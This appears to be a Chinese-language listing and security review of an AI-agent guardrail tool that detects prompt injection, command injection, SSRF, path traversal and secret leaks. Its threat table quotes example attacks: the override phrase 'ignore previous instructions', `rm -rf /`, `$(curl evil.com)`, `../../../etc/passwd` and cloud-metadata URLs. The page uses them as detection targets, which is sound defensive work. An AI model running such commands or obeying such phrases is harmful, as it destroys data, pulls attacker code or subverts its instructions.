Openclaw Sec

🛡️ AI Agent 实时安全防护引擎

security榜 #25

AI Agent 实时安全防护套件,6大检测模块并行拦截提示注入、命令注入、SSRF、路径遍历及密钥泄露,20-50ms低延迟验证

收藏
15.2k
安装
4.6k
版本
0.1.0
CLS 安全性认证2026-06-04
点击查看完整报告 >

使用说明

核心功能

OpenClaw Security Suite 是专为 AI Agent 设计的综合安全防护系统,采用6个并行检测模块实现实时威胁防护:

| 模块 | 防护对象 | 典型攻击场景 |
|------|---------|------------|
| Prompt Injection Detector | 提示注入 | "忽略先前指令"、角色劫持、越狱尝试 |
| Command Validator | 命令注入 | `rm -rf /`、`$(curl evil.com)`、管道链攻击 |
| URL Validator | SSRF | 内网 IP、云元数据端点、`file:///` 协议 |
| Path Validator | 路径遍历 | `../../../etc/passwd`、空字节注入、Windows UNC |
| Secret Detector | 密钥泄露 | OpenAI/AWS/GitHub API 密钥、SSH 私钥、数据库凭证 |
| Content Scanner | 混淆检测 | Base64/Hex 编码、Unicode 混淆、同形异义字符 |

显著优点

1. 极致性能:并行架构实现 20-50ms 验证延迟,异步数据库写入不阻塞主流程
2. 智能分级:5 级敏感度(paranoid→permissive)+ 5 级响应动作(allow→block_notify),支持按模块覆盖配置

3. 透明集成:通过 user-prompt-submit-hook 和 tool-call-hook 自动拦截,无需改动业务代码

4. 完整可观测:内置 SQLite 数据库记录安全事件、用户信誉评分、攻击模式分析

潜在局限

  • 规则依赖:基于正则/模式匹配,可能产生误报(可通过敏感度调节缓解)
  • 正则性能:Secret Detector 模块在大文本扫描时 CPU 占用较高
  • 本地化不足:云元数据端点检测主要针对 AWS/Azure/GCP,私有化部署需自定义规则
  • 无行为分析:缺乏基于 ML 的异常行为检测,对新型攻击变种识别能力有限

适用人群

  • AI Agent 开发者:需为 Claude/GPT 等 Agent 增加安全护栏
  • 企业安全团队:需要审计追踪、用户信誉管理和合规报告
  • SaaS 平台运营:多租户场景下的输入验证和速率限制

使用建议

生产环境建议从 medium 敏感度起步,启用所有模块,通过 /openclaw-sec events 定期审查 HIGH 级别事件,逐步调优至 strict。开发测试阶段可使用 openclaw-sec test 验证配置有效性。

---

系统架构支持 1000+ 次验证/分钟,内存占用 <50MB,数据库默认保留 365 天事件记录。

安全解读

核心功能

OpenClaw Security Suite 是一款专为 AI Agent 设计的实时安全防护工具,通过 6 个并行检测模块(提示词注入、命令注入、SSRF、路径遍历、密钥泄露、内容扫描)提供亚 50 毫秒的快速安全验证。支持智能风险评分、自动拦截/告警/日志分级响应,以及用户声誉追踪系统。

显著优点

  • 全面威胁覆盖:6 大检测模块覆盖 AI 系统主要攻击向量,支持 prompt injection、jailbreak、SSRF 等复杂攻击模式识别
  • 高性能架构:并行检测 + 异步数据库写入,验证延迟控制在 20-50ms,吞吐量达 1000+ 次/分钟
  • 灵活配置:4 级敏感度(paranoid→permissive)+ 5 级响应动作,支持白名单用户绕过和模块级独立配置
  • 透明集成:提供自动 hooks 机制,可无缝嵌入 Claude 等 AI 系统的用户输入和工具调用流程
  • 合规审计:内置 SQLite 数据库记录完整安全事件,支持用户声誉评分和攻击模式分析

潜在局限

  • 依赖风险:开发依赖存在 5 个 CVE(handlebars AST 注入、minimatch/picomatch ReDoS 等),虽不影响生产但需关注
  • 规则维护:检测依赖正则和模式匹配,可能需持续更新以应对新型攻击变体
  • 误报可能:严格模式下可能对合法输入产生误拦截,需根据场景调优敏感度
  • 生态局限:目前主要为 CLI 工具和 Claude hooks,SDK 生态(Python 等)依赖 subprocess 调用

适合人群

  • 部署 Claude、GPT 等 AI Agent 的企业安全团队
  • 需要满足合规审计要求的 AI 应用开发者
  • 处理敏感数据、需防范提示词注入攻击的 AI 服务运维方

常规风险

  • 配置依赖风险:YAML 配置解析存在栈溢出漏洞(CVE待定),需限制解析深度或升级依赖
  • 声誉数据隐私:收集 user_id/session_id 用于安全追踪,虽符合安全工具规范但需明确告知用户
  • Webhook 配置安全:通知通道依赖用户配置的 webhook URL,需确保 URL 保密性和 TLS 加密传输

Openclaw Sec 内容

hooks文件夹
src文件夹
core文件夹
modules文件夹
command-validator文件夹
content-scanner文件夹
path-validator文件夹
prompt-injection文件夹
secret-detector文件夹
url-validator文件夹
patterns文件夹
obfuscation文件夹
prompt-injection文件夹
runtime-validation文件夹
secrets文件夹
types文件夹
手动下载zip · 123.8 kB
example-config.yamltext/plain
请选择文件